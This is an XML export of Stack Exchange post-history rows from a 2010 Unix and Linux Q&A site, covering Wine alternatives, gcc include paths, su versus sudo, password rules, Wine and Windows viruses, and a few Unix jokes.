  <row Id="3490" PostHistoryTypeId="2" PostId="1726" RevisionGUID="5eb2ca6d-7744-4811-859f-f042e8ecda5e" CreationDate="2010-09-07T08:33:40.960" UserId="1327" Text="Is there some alternative to **Wine** ( the windows &quot;emulator&quot; ) wich is more stabble and more likely to work with my Windows games?" />
  <row Id="3491" PostHistoryTypeId="1" PostId="1726" RevisionGUID="5eb2ca6d-7744-4811-859f-f042e8ecda5e" CreationDate="2010-09-07T08:33:40.960" UserId="1327" Text="alternatives to wine" />
  <row Id="3492" PostHistoryTypeId="3" PostId="1726" RevisionGUID="5eb2ca6d-7744-4811-859f-f042e8ecda5e" CreationDate="2010-09-07T08:33:40.960" UserId="1327" Text="éemulationàéwindowsà" />
  <row Id="3493" PostHistoryTypeId="2" PostId="1727" RevisionGUID="cb0fc469-2538-4ed4-aa4f-a12aa4379af4" CreationDate="2010-09-07T09:50:25.383" UserId="274" Text="The exact rules followed by the `gcc` compiler for finding include files are explained at: http://gcc.gnu.org/onlinedocs/cpp/Search-Path.html&#xD;&#xA;&#xD;&#xA;A quick command-line trick to find out where an include file comes from is the following:&#xD;&#xA;&#xD;&#xA;    echo '#include &lt;unistd.h&gt;' | gcc -E -x c - &gt; unistd.preprocessed&#xD;&#xA;&#xD;&#xA;If you look at the `unistd.preprocessed` file, you will notice lines like:&#xD;&#xA;&#xD;&#xA;    # 1 &quot;/usr/include/unistd.h&quot; &lt;some numbers&gt;&#xD;&#xA;&#xD;&#xA;These tell you that the following block of lines (until the next `# number ...` line)&#xD;&#xA;come from file `/usr/include/unistd.h`.&#xD;&#xA;&#xD;&#xA;So, if you want to know the full list of files included, you can grep for the `# number` lines:&#xD;&#xA;&#xD;&#xA;    echo '#include &lt;unistd.h&gt;' | gcc -E -x c - | egrep '# [0-9]+ ' | awk '{print $3;}' | sort -u*emphasized text*&#xD;&#xA;&#xD;&#xA;On my Ubuntu 10.04 / gcc 4.4.3 system, this produces:&#xD;&#xA;&#xD;&#xA;    $ echo '#include &lt;unistd.h&gt;' | gcc -E -x c - | egrep '# [0-9]+ ' | awk '{print $3;}' | sort -u&#xD;&#xA;    &quot;&lt;built-in&gt;&quot;&#xD;&#xA;    &quot;&lt;command-line&gt;&quot;&#xD;&#xA;    &quot;&lt;stdin&gt;&quot;&#xD;&#xA;    &quot;/usr/include/bits/confname.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/posix_opt.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/predefs.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/types.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/typesizes.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/wordsize.h&quot;&#xD;&#xA;    &quot;/usr/include/features.h&quot;&#xD;&#xA;    &quot;/usr/include/getopt.h&quot;&#xD;&#xA;    &quot;/usr/include/gnu/stubs-64.h&quot;&#xD;&#xA;    &quot;/usr/include/gnu/stubs.h&quot;&#xD;&#xA;    &quot;/usr/include/sys/cdefs.h&quot;&#xD;&#xA;    &quot;/usr/include/unistd.h&quot;&#xD;&#xA;    &quot;/usr/lib/gcc/x86_64-linux-gnu/4.4.3/include/stddef.h&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3494" PostHistoryTypeId="2" PostId="1728" RevisionGUID="5fa3f83a-6040-4677-a391-6553a0931712" CreationDate="2010-09-07T10:04:25.090" UserId="116" Text="Unfortunately Wine is about the best bet for most Windows games, though you don't actually state what sort of games you are wanting to play.&#xD;&#xA;&#xD;&#xA;For non-3D games then virtualisation sometimes works well, but of course that still requires a Widnows license in order to run the OS in a VM. For really old games then [DosBox][1] is the thing to try, even in the Windows world.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dosbox.com/" />
  <row Id="3495" PostHistoryTypeId="2" PostId="1729" RevisionGUID="8e184817-42ea-4e0a-9340-93e6b1dfd912" CreationDate="2010-09-07T10:23:35.400" UserId="1549" Text="Just wondering if installing wine might open up a fairly solid linux desktop to the world of windows virus'.  Any confirmed reports about that?&#xD;&#xA;&#xD;&#xA;Would you then install a windows antivirus product under wine?" />
  <row Id="3496" PostHistoryTypeId="1" PostId="1729" RevisionGUID="8e184817-42ea-4e0a-9340-93e6b1dfd912" CreationDate="2010-09-07T10:23:35.400" UserId="1549" Text="Does installing and using Wine open up your Linux platform to windows virus'?" />
  <row Id="3497" PostHistoryTypeId="3" PostId="1729" RevisionGUID="8e184817-42ea-4e0a-9340-93e6b1dfd912" CreationDate="2010-09-07T10:23:35.400" UserId="1549" Text="éemulationàéwindowsà" />
  <row Id="3498" PostHistoryTypeId="2" PostId="1730" RevisionGUID="35de36b1-92db-4891-9cf6-1354d05d185e" CreationDate="2010-09-07T10:33:05.520" UserId="487" Text="From http://q4td.blogspot.com/&#xD;&#xA;&#xD;&#xA;“Unix never says ‘please’”  &#xD;&#xA;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;— Rob Pike" />
  <row Id="3499" PostHistoryTypeId="16" PostId="1730" RevisionGUID="35de36b1-92db-4891-9cf6-1354d05d185e" CreationDate="2010-09-07T10:33:05.520" UserId="-1" />
  <row Id="3500" PostHistoryTypeId="2" PostId="1731" RevisionGUID="8ac02311-3bf2-4d15-bb1e-6b0bdefab73e" CreationDate="2010-09-07T11:01:52.463" UserId="160" Text="There are several ways that you can find a port, including your `echo` technique.  To start, there is the [ports](http://www.freebsd.org/ports) site where you can search by name or get a full list of available ports.  You can also try:&#xD;&#xA;&#xD;&#xA;    whereis &lt;program&gt;&#xD;&#xA;&#xD;&#xA;but this--like using `echo`--won't work unless you type the exact name of the port.  For example, `gnome-terminal` works fine but `postgres` returns nothing.  Another way is:&#xD;&#xA;&#xD;&#xA;    cd /usr/ports&#xD;&#xA;    make search name=&lt;program&gt;&#xD;&#xA;&#xD;&#xA;but keep in mind that this won't return a nice list; it returns several `\n` delimited fields, so `grep` as necessary.  I've used both of the above methods in the past but nowadays I just use `find`:&#xD;&#xA;&#xD;&#xA;    find /usr/ports -name=&lt;program&gt; -print&#xD;&#xA;&#xD;&#xA;Lastly, I will refer you to the [Finding Your Application](http://www.freebsd.org/doc/handbook/ports-finding-applications.html) section of the handbook which lists these methods along with sites like [Fresh Ports](http://www.freshports.org/) which is handy for tracking updates." />
  <row Id="3501" PostHistoryTypeId="5" PostId="1724" RevisionGUID="6326b02f-bcfd-4ddd-9419-ac8381679c97" CreationDate="2010-09-07T11:17:56.850" UserId="1339" Comment="added 1 characters in body" Text="I didn't see this for a while now:&#xD;&#xA;&#xD;&#xA;&gt; Unix is sexy: who | grep -i blonde |&#xD;&#xA;&gt; date; cd ~; unzip; touch, strip;&#xD;&#xA;&gt; finger; mount; gasp; yes; uptime;&#xD;&#xA;&gt; umount; sleep&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3502" PostHistoryTypeId="2" PostId="1732" RevisionGUID="1555c876-7068-4aab-8cb9-f1a6a88c89f0" CreationDate="2010-09-07T11:31:54.233" UserId="101" Text="As David said, wine is about the only way to have Windows stuff running.  &#xD;&#xA;However when it comes to games there is Crossover Games from Codeweavers (they use wine and tweak it) and Cedega from Transgamings (they operate on a wine fork, imho).&#xD;&#xA;&#xD;&#xA;Be aware that both are commercial products, though.  &#xD;&#xA;As I am unsure what the policy towards commercial products is I do not provide any links. Both products should be fairly easy to find on any search engine online.&#xD;&#xA;" />
  <row Id="3503" PostHistoryTypeId="2" PostId="1733" RevisionGUID="9bd11b9c-8841-4c79-aaec-62cbe83b4c7d" CreationDate="2010-09-07T11:35:49.810" UserId="1339" Text="Like mentioned before, Wine is the most advanced compatibility layer (**W** ine **I** s **N** ot an **E** mulator ;-)) you will find.&#xD;&#xA;&#xD;&#xA;If you are not happy with it, there are two other projects based on wine but with some tweaks for the support of actual games like Half Life 2, World of Warcraft, etc:&#xD;&#xA;&#xD;&#xA;* Codeweavers CrossOver Games - http://www.codeweavers.com/products/cxgames/&#xD;&#xA;* TransGamings Cedega - http://www.cedega.com/&#xD;&#xA;&#xD;&#xA;Maybe this will satisfy your needs." />
  <row Id="3504" PostHistoryTypeId="5" PostId="1721" RevisionGUID="aedd1fdc-0157-4294-b58e-9a0d1f250572" CreationDate="2010-09-07T11:53:21.227" UserDisplayName="delete" Comment="added 8 characters in body" Text="&gt; There are two major products of Berkeley, CA -- LSD and UNIX.  We don't &#xD;&#xA;believe this to be strictly by coincidence. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&amp;mdash; Jeremy S. Anderson" />
  <row Id="3505" PostHistoryTypeId="2" PostId="1734" RevisionGUID="be88031a-3ec3-43b8-a341-7a24925c8bb0" CreationDate="2010-09-07T12:08:37.690" UserId="1383" Text="Is using `find` or `xargs` mandatory?&#xD;&#xA;&#xD;&#xA;If not, you can use:&#xD;&#xA;&#xD;&#xA;    chmod -R u=rwX,go=rX *" />
  <row Id="3506" PostHistoryTypeId="5" PostId="1727" RevisionGUID="4fe062d8-acee-4516-a916-2d3896736341" CreationDate="2010-09-07T12:22:53.293" UserId="274" Comment="added caveat on gcc command-line option `-I`" Text="The exact rules followed by the `gcc` compiler for finding include files are explained at: http://gcc.gnu.org/onlinedocs/cpp/Search-Path.html&#xD;&#xA;&#xD;&#xA;A quick command-line trick to find out where an include file comes from is the following:&lt;sup&gt;1&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;    echo '#include &lt;unistd.h&gt;' | gcc -E -x c - &gt; unistd.preprocessed&#xD;&#xA;&#xD;&#xA;Then, if you look at the `unistd.preprocessed` file, yo*emphasized text*u will notice lines like:&#xD;&#xA;&#xD;&#xA;    # 1 &quot;/usr/include/unistd.h&quot; &lt;some numbers&gt;&#xD;&#xA;&#xD;&#xA;These tell you that the following block of lines (until the next `# number ...` line)&#xD;&#xA;come from file `/usr/include/unistd.h`.&#xD;&#xA;&#xD;&#xA;So, if you want to know the full list of files included, you can grep for the `# number` lines:&#xD;&#xA;&#xD;&#xA;    echo '#include &lt;unistd.h&gt;' | gcc -E -x c - | egrep '# [0-9]+ ' | awk '{print $3;}' | sort -u*emphasized text*&#xD;&#xA;&#xD;&#xA;On my Ubuntu 10.04 / gcc 4.4.3 system, this produces:&#xD;&#xA;&#xD;&#xA;    $ echo '#include &lt;unistd.h&gt;' | gcc -E -x c - | egrep '# [0-9]+ ' | awk '{print $3;}' | sort -u&#xD;&#xA;    &quot;&lt;built-in&gt;&quot;&#xD;&#xA;    &quot;&lt;command-line&gt;&quot;&#xD;&#xA;    &quot;&lt;stdin&gt;&quot;&#xD;&#xA;    &quot;/usr/include/bits/confname.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/posix_opt.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/predefs.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/types.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/typesizes.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/wordsize.h&quot;&#xD;&#xA;    &quot;/usr/include/features.h&quot;&#xD;&#xA;    &quot;/usr/include/getopt.h&quot;&#xD;&#xA;    &quot;/usr/include/gnu/stubs-64.h&quot;&#xD;&#xA;    &quot;/usr/include/gnu/stubs.h&quot;&#xD;&#xA;    &quot;/usr/include/sys/cdefs.h&quot;&#xD;&#xA;    &quot;/usr/include/unistd.h&quot;&#xD;&#xA;    &quot;/usr/lib/gcc/x86_64-linux-gnu/4.4.3/include/stddef.h&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt; _Note:_ The search path for include files is modified by&#xD;&#xA;the `-I` command-line option; so, you should add any `-I path`&#xD;&#xA;arguments to the `gcc` invocation.  Also, if you are compiling a C++&#xD;&#xA;source, you should substitute `-x c` with `-x c++`.&#xD;&#xA;" />
  <row Id="3507" PostHistoryTypeId="2" PostId="1735" RevisionGUID="957e80f4-adc7-4735-bea5-5008067cdf6d" CreationDate="2010-09-07T12:48:38.343" UserId="550" Text="Yes and no. &#xD;&#xA;&#xD;&#xA;Virus/trojans are just programs, and will work on wine... Also, your normally Linux fs is exposed to wine with the user that launchs wine credentials.&#xD;&#xA;&#xD;&#xA;BUT, usually virus are based on lots of hacks,  and they expect a &quot;standard&quot; and common windows installation. I doubt that any virus is coded thinking that it will be executed on wine, and if it exists, probably it will not be too success. &#xD;&#xA;&#xD;&#xA;Why? because wine users are a small portion of normal users, they have &quot;weird&quot; and strange installation (think in all flavours of linux+wine), usually are avanced users and an they have a strong comunity aware of security. &#xD;&#xA;&#xD;&#xA;So: yes, you are exposed to windows viruses, but not totally exposed, and most probably your linux installation will not be contamined. Just be carefull as you are on windows.&#xD;&#xA;&#xD;&#xA;On the other hand, you can use several techniques to increase the security: use chrooted wine (search google for chroot), virtualized environments, etc..." />
  <row Id="3508" PostHistoryTypeId="2" PostId="1736" RevisionGUID="ec56e742-4647-48e7-accf-048df26f3358" CreationDate="2010-09-07T13:34:31.917" UserId="912" Text="I am able to run anything using `sudo`, my password is accepted.&#xD;&#xA;&#xD;&#xA;But whenever I try to do `su`, from a shell, it fails saying&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;**What can the problem be?**&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/JaLo9.png" />
  <row Id="3509" PostHistoryTypeId="1" PostId="1736" RevisionGUID="ec56e742-4647-48e7-accf-048df26f3358" CreationDate="2010-09-07T13:34:31.917" UserId="912" Text="When do su and sudo use different passwords?" />
  <row Id="3510" PostHistoryTypeId="3" PostId="1736" RevisionGUID="ec56e742-4647-48e7-accf-048df26f3358" CreationDate="2010-09-07T13:34:31.917" UserId="912" Text="élinuxàéunixàésuàésudoàéxtermà" />
  <row Id="3511" PostHistoryTypeId="2" PostId="1737" RevisionGUID="c545f32c-639b-42bd-88c8-73719f8d4b6a" CreationDate="2010-09-07T13:50:14.977" UserId="1339" Text="`su` means substitude user and if its called without any arguments you will become the superuser. Therefore you have to enter the users password.&#xD;&#xA;&#xD;&#xA;This is some kind of unhandy if many people need to use commands for the system administration or similar stuff with extended user rights. You just don't wan't that people have unlimited rights by sharing all the same root password.&#xD;&#xA;&#xD;&#xA;The solution for this kind of problems is `sudo` (&quot;*substitude user do*&quot;).&#xD;&#xA;This will allow you to specifiy the commands someone can invoke and define the permissions. For `sudo` you don't have to enter the root password, but the password of the user who tries to invoke a sudo command.&#xD;&#xA;&#xD;&#xA;Some distributions have the root user disabled for security reasons. This could be one explanation why you aren't able to use su. You could try to skip the password by using sudo:&#xD;&#xA;`sudo su` ;-)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3512" PostHistoryTypeId="2" PostId="1738" RevisionGUID="bd4f8e85-ba02-4227-b26d-a06bf4f9e505" CreationDate="2010-09-07T13:51:36.570" UserId="1322" Text="The su command without options, will default to allow you to become the root user.  It isn't asking for your password, but the root password.&#xD;&#xA;&#xD;&#xA;The sudo command always asks for your password." />
  <row Id="3513" PostHistoryTypeId="2" PostId="1739" RevisionGUID="288d7290-c4d6-49b6-9a02-ac9a2a2b41f3" CreationDate="2010-09-07T14:55:20.490" UserId="1257" Text="Here are a couple of T-shirt slogans:&#xD;&#xA;&#xD;&#xA;There is no place like ~&#xD;&#xA;&#xD;&#xA;My favorite:  &#xD;&#xA;Though shall not kill -9" />
  <row Id="3514" PostHistoryTypeId="16" PostId="1739" RevisionGUID="288d7290-c4d6-49b6-9a02-ac9a2a2b41f3" CreationDate="2010-09-07T14:55:20.490" UserId="-1" />
  <row Id="3515" PostHistoryTypeId="6" PostId="1736" RevisionGUID="98fd92ab-57ee-486b-962c-463e669b532d" CreationDate="2010-09-07T15:10:06.180" UserId="1207" Comment="edited tags" Text="élinuxàécommandölineàéunixàésuàésudoà" />
  <row Id="3516" PostHistoryTypeId="2" PostId="1740" RevisionGUID="2467b080-c24c-4f7a-bac8-620906157289" CreationDate="2010-09-07T15:10:58.227" UserId="1555" Text="Since [history questions are considered on topic][1], I figured I'd ask one that's been bugging me for quite some time and no one I know seems to know the answer. Does anyone know what the historical significance is of the prefix yy? Most of the variables and functions generated by lex start with it, such as `yylval`, and `yylex()`. I also remember seeing a utility named `yyrsa` somewhere, but can't find references to it anywhere now. Inquiring minds want to know!&#xD;&#xA;&#xD;&#xA;PS: I would have tagged this question &quot;conventions&quot; as well but I don't have enough reputation to create a new tag yet.&#xD;&#xA;&#xD;&#xA;  [1]: http://meta.unix.stackexchange.com/questions/73/are-history-questions-on-topic" />
  <row Id="3517" PostHistoryTypeId="1" PostId="1740" RevisionGUID="2467b080-c24c-4f7a-bac8-620906157289" CreationDate="2010-09-07T15:10:58.227" UserId="1555" Text="Anyone know the meaing of yy?" />
  <row Id="3518" PostHistoryTypeId="3" PostId="1740" RevisionGUID="2467b080-c24c-4f7a-bac8-620906157289" CreationDate="2010-09-07T15:10:58.227" UserId="1555" Text="écommandöhistoryà" />
  <row Id="3519" PostHistoryTypeId="5" PostId="1739" RevisionGUID="874bde80-f820-4b15-95dc-01b3c6b801ff" CreationDate="2010-09-07T15:13:47.383" UserDisplayName="delete" Comment="deleted 2 characters in body" Text="Here are a couple of T-shirt slogans:&#xD;&#xA;&#xD;&#xA;There is no place like ~&#xD;&#xA;&#xD;&#xA;My favorite:  &#xD;&#xA;Thou shalt not kill -9" />
  <row Id="3520" PostHistoryTypeId="2" PostId="1741" RevisionGUID="7b747f80-efbe-4cae-8279-adbea188de1e" CreationDate="2010-09-07T15:15:48.137" UserDisplayName="delete" Text="I think it has something to do with yacc, which has files ending in `.y`, and requires a function called `yylex`." />
  <row Id="3521" PostHistoryTypeId="6" PostId="1729" RevisionGUID="cb2d8451-2675-4711-8f9d-c8fe30a62b88" CreationDate="2010-09-07T15:17:36.687" UserId="1207" Comment="edited tags" Text="ésecurityàéemulationàéwindowsàévirusesà" />
  <row Id="3522" PostHistoryTypeId="6" PostId="1740" RevisionGUID="9d7851b3-42c5-4786-8d78-7e18334c5f50" CreationDate="2010-09-07T15:33:21.953" UserId="1339" Comment="edited tags" Text="écommandöhistoryàéconventionà" />
  <row Id="3523" PostHistoryTypeId="6" PostId="1740" RevisionGUID="1d24b794-4638-40fb-9435-c4de370549b5" CreationDate="2010-09-07T15:33:43.607" UserId="1339" Comment="edited tags" Text="écommandöhistoryàéconventionsà" />
  <row Id="3524" PostHistoryTypeId="6" PostId="1740" RevisionGUID="4548ef20-d487-4e63-9e39-a77ced5a3733" CreationDate="2010-09-07T15:35:42.310" UserId="250" Comment="edited tags" Text="écommandöhistoryàéconventionsà" />
  <row Id="3526" PostHistoryTypeId="5" PostId="1726" RevisionGUID="07add478-e2e6-4059-9ce5-2d6198cffaa3" CreationDate="2010-09-07T16:06:20.830" UserId="73" Comment="edited body" Text="Is there some alternative to **Wine** ( the windows &quot;emulator&quot; ) which is more stable and more likely to work with my Windows games?" />
  <row Id="3527" PostHistoryTypeId="2" PostId="1742" RevisionGUID="15eb9808-4ed4-4604-8085-358281c9e290" CreationDate="2010-09-07T16:10:57.713" UserId="1071" Text="These are all taken from &lt;a href=&quot;http://www.sanitarium.net/jokes/getjoke.cgi?71&quot;&gt;here&lt;/a&gt;. A lot of these don't seem to work on newer shells, but they're still possible to laugh at.&#xD;&#xA;&#xD;&#xA;     % make fire&#xD;&#xA;     Make: Don't know how to make fire. Stop. &#xD;&#xA;     &#xD;&#xA;     % why not?&#xD;&#xA;     No match. &#xD;&#xA;     &#xD;&#xA;     % gotta light?&#xD;&#xA;     No match. &#xD;&#xA;     &#xD;&#xA;     % !1984&#xD;&#xA;     1984: Event not found. # (on some systems) &#xD;&#xA;     &#xD;&#xA;     % How's my lovemaking?&#xD;&#xA;     Unmatched '. &#xD;&#xA;     &#xD;&#xA;     % &quot;How would you rate Bush's incompetence? &#xD;&#xA;     Unmatched &quot;. &#xD;&#xA;     &#xD;&#xA;     % [Where is Jimmy Hoffa?&#xD;&#xA;     Missing ]. &#xD;&#xA;     &#xD;&#xA;     % [Where is my brain?&#xD;&#xA;     Missing ]. &#xD;&#xA;     &#xD;&#xA;     % ^How did the sex change^ operation go? &#xD;&#xA;     Modifier failed. &#xD;&#xA;     &#xD;&#xA;     % If I had a ( for every $ Congress spent, what would I have? &#xD;&#xA;     Too many ('s. &#xD;&#xA;     &#xD;&#xA;     % man: why did you get a divorce?&#xD;&#xA;     man:: Too many arguments. &#xD;&#xA;     &#xD;&#xA;     % %blow&#xD;&#xA;     %blow: No such job. &#xD;&#xA;     &#xD;&#xA;     % \(-&#xD;&#xA;     (-: Command not found. &#xD;&#xA;     &#xD;&#xA;     % sh&#xD;&#xA;     $ PATH=pretending! /usr/ucb/which sense &#xD;&#xA;     no sense in pretending!&#xD;&#xA;     $ mkdir matter; cat &gt;matter&#xD;&#xA;     matter: cannot create &#xD;&#xA;     &#xD;&#xA;     % cd /tmp&#xD;&#xA;     % touch this; chmod 000 this&#xD;&#xA;     % ln -s /usr/bin/touch U&#xD;&#xA;     % U this&#xD;&#xA;     U: cannot touch this: no write permission &#xD;&#xA;     &#xD;&#xA;     % rm meese-ethics&#xD;&#xA;     rm: meese-ethics nonexistent &#xD;&#xA;     &#xD;&#xA;     % ar m God&#xD;&#xA;     ar: God does not exist &#xD;&#xA;     &#xD;&#xA;     % make love&#xD;&#xA;     Make: Don't know how to make love. Stop. &#xD;&#xA;     &#xD;&#xA;     Supposedly on older Sun's make will also tell you&#xD;&#xA;     &#xD;&#xA;     Make: Don't know how to make love. How about war instead?&#xD;&#xA;     &#xD;&#xA;     % sleep with me&#xD;&#xA;     bad character &#xD;&#xA;     &#xD;&#xA;     % ^What is saccharine?&#xD;&#xA;     Bad substitute. &#xD;&#xA;     &#xD;&#xA;     % drink yellow_pages&#xD;&#xA;     yellow_pages: Is a directory &#xD;&#xA;     &#xD;&#xA;     %touch me&#xD;&#xA;     %chmod 000 me&#xD;&#xA;     %touch me&#xD;&#xA;     touch: cannot touch me: permission denied &#xD;&#xA;     &#xD;&#xA;     % ar x &quot;my love life&quot;&#xD;&#xA;     ar: my love life does not exist &#xD;&#xA;     &#xD;&#xA;     % ar x &quot;matey, the treasure&quot;&#xD;&#xA;     ar: matey, the treasure does not exist &#xD;&#xA;     &#xD;&#xA;     % talk Gorvachev@Kremlin&#xD;&#xA;     talk: Kremlin: Can't figure out network address. &#xD;&#xA;     &#xD;&#xA;     % talk Comrade Khruchev&#xD;&#xA;     [Your party is not logged on] &#xD;&#xA;" />
  <row Id="3528" PostHistoryTypeId="16" PostId="1742" RevisionGUID="15eb9808-4ed4-4604-8085-358281c9e290" CreationDate="2010-09-07T16:10:57.713" UserId="-1" />
  <row Id="3529" PostHistoryTypeId="2" PostId="1743" RevisionGUID="448dd1f2-64a5-48c3-8a57-e51f13168cf2" CreationDate="2010-09-07T16:21:55.557" UserId="457" Text="A more traditional version of the dirty joke echox posted:&#xD;&#xA;&#xD;&#xA;TOUCH GREP UNZIP MOUNT FSCK FSCK FSCK UMOUNT" />
  <row Id="3530" PostHistoryTypeId="16" PostId="1743" RevisionGUID="448dd1f2-64a5-48c3-8a57-e51f13168cf2" CreationDate="2010-09-07T16:21:55.557" UserId="-1" />
  <row Id="3531" PostHistoryTypeId="2" PostId="1744" RevisionGUID="52e33f72-f070-402a-a8b9-178921121c6d" CreationDate="2010-09-07T16:37:54.587" UserId="1399" Text="I've heard of people getting viruses in Wine.  [This link][1] tells a story of someone who had a virus in Wine.  A Virus is a program like most others.  Depending on the virus it may or may not try to exploit a vulnerability in the system; it may just propagate by sending email or writing itself to disks somewhere. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://download.cnet.com/8301-2007_4-9916375-12.html" />
  <row Id="3532" PostHistoryTypeId="2" PostId="1745" RevisionGUID="c795bf21-ebc2-4704-86be-698ef614deb5" CreationDate="2010-09-07T17:05:06.167" UserId="272" Text="There is an old [Linux.com article][1], in which trying to infect a Linux install with Wine is actually tested. If you are of the TL;DNR type: it doesn't work. You are fine without antivirus. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux.com/archive/feature/42031" />
  <row Id="3533" PostHistoryTypeId="2" PostId="1746" RevisionGUID="a55ccc8e-d7f9-44b7-a510-f476d30593b5" CreationDate="2010-09-07T17:07:03.720" UserId="1562" Text="Just curious as to why 8 numbers are accepted as a password in linux (CentOS if it matters) and not 8 characters on a non-dictionary word.&#xD;&#xA;&#xD;&#xA;It's 10 vs 26 per digit after all. (52 counting CaSe SeNsItIvE)" />
  <row Id="3534" PostHistoryTypeId="1" PostId="1746" RevisionGUID="a55ccc8e-d7f9-44b7-a510-f476d30593b5" CreationDate="2010-09-07T17:07:03.720" UserId="1562" Text="Why is 8 numbers considered a &quot;strong&quot; password?" />
  <row Id="3535" PostHistoryTypeId="3" PostId="1746" RevisionGUID="a55ccc8e-d7f9-44b7-a510-f476d30593b5" CreationDate="2010-09-07T17:07:03.720" UserId="1562" Text="ésecurityà" />
  <row Id="3536" PostHistoryTypeId="2" PostId="1747" RevisionGUID="5b24c036-0d6c-421a-b55e-add34b504d35" CreationDate="2010-09-07T17:34:37.673" UserId="305" Text="It all depends on pam settings. If someone required at least 1 number in password it would match 8 digits but not 8 letters - it is very common requirement as people do choose highly secure password like name of wife ;) and name of wife + number have higher security.&#xD;&#xA;&#xD;&#xA;It is not inherit property of Linux or unix and admin can easily change it." />
  <row Id="3537" PostHistoryTypeId="2" PostId="1748" RevisionGUID="fcc2c095-b163-41bf-8117-e3c7310f32d4" CreationDate="2010-09-07T17:35:19.357" UserId="1294" Text="Looking at obscure.c from the shadow-4.1.4.2 sources, we find:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	/*&#xD;&#xA;	 * The scam is this - a password of only one character type&#xD;&#xA;	 * must be 8 letters long.  Two types, 7, and so on.&#xD;&#xA;	 */&#xD;&#xA;&#xD;&#xA;I expect that the design decision had a lot to do with the social engineering factor that forcing people to invent arbitrarily difficult passwords is a great way to have them tape it to their screen.&#xD;&#xA;&#xD;&#xA;The password &quot;goodness&quot; measure is coded to do things like &#xD;&#xA;&#xD;&#xA;    #ifdef HAVE_LIBCRACK&#xD;&#xA;        /*&#xD;&#xA;         * Invoke Alec Muffett's cracklib routines.&#xD;&#xA;         */&#xD;&#xA;&#xD;&#xA;and other such measures if the system builder desires them. From this I conclude the authors very likely understood what they were doing when considering the issue broadly.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="3538" PostHistoryTypeId="2" PostId="1749" RevisionGUID="5b396f23-f9ad-40de-8a00-94626da4cf54" CreationDate="2010-09-07T17:51:07.200" UserId="305" Text="Yes and no. Some viruses will work on wine particulary those which uses programs security bugs you are running under wine (wine running old version of adobe flash will not automagically protect you from exploiting it). Also the Linux FS is exposed in default configuration.&#xD;&#xA;&#xD;&#xA;On the other hand viruses may depend on particular configuration and if it tries to exploit Windows kernel - it is bad day for him. Also emulating IE by gecko may not be helpful for exploits.&#xD;&#xA;&#xD;&#xA;At the end - the fact that virus have affected wine does not mean it gain access to all files. It usually is not aware that Z: is director where you keep your files so it may simply ignore it. Deleting virus may be as simple as removing `~/.wine` and it will not delete most of your settings." />
  <row Id="3539" PostHistoryTypeId="2" PostId="1750" RevisionGUID="0040fecf-1f5b-4a54-bad7-12708707a59a" CreationDate="2010-09-07T18:10:34.080" UserId="1563" Text="Hi,&#xD;&#xA;I'm running a GNU/Linux Debian Lenny with an 2.6.26-2-686 kernel.&#xD;&#xA;I installed splashy for a bootsplash an updated grub to version 2.&#xD;&#xA;&#xD;&#xA;Now I want splashy to start directly after the user has selected a startoption in grub. At the moment when the user selects a start option a black screen with bootmessages occur. I want that this messages are displayed in splashy. Or as an alternative I want to define a background image which is displayed at this phase.&#xD;&#xA;&#xD;&#xA;Do you know a solution?&#xD;&#xA;&#xD;&#xA;Thanx!" />
  <row Id="3540" PostHistoryTypeId="1" PostId="1750" RevisionGUID="0040fecf-1f5b-4a54-bad7-12708707a59a" CreationDate="2010-09-07T18:10:34.080" UserId="1563" Text="Debian Lenny: Wanna splashy start directly after grubv2..." />
  <row Id="3541" PostHistoryTypeId="3" PostId="1750" RevisionGUID="0040fecf-1f5b-4a54-bad7-12708707a59a" CreationDate="2010-09-07T18:10:34.080" UserId="1563" Text="élinuxàédebianà" />
  <row Id="3542" PostHistoryTypeId="2" PostId="1751" RevisionGUID="c41becd7-488a-4364-992a-2f9eaf85d56f" CreationDate="2010-09-07T18:12:17.483" UserId="272" Text="I'm guessing you misunderstand the concept of 'real-timeness'. If not, sorry, but it happens a lot, and I thought I'd throw a little clarification in here.&#xD;&#xA;&#xD;&#xA;The main point of a real-time kernel is to serve requests within a predictable deadline. That does not necessarily mean faster than a 'normal' kernel. So for desktop systems, a preemptive kernel is good, a real-time kernel much less so.&#xD;&#xA;&#xD;&#xA;That said, I am not familiar with this specific patch. Maybe this is different." />
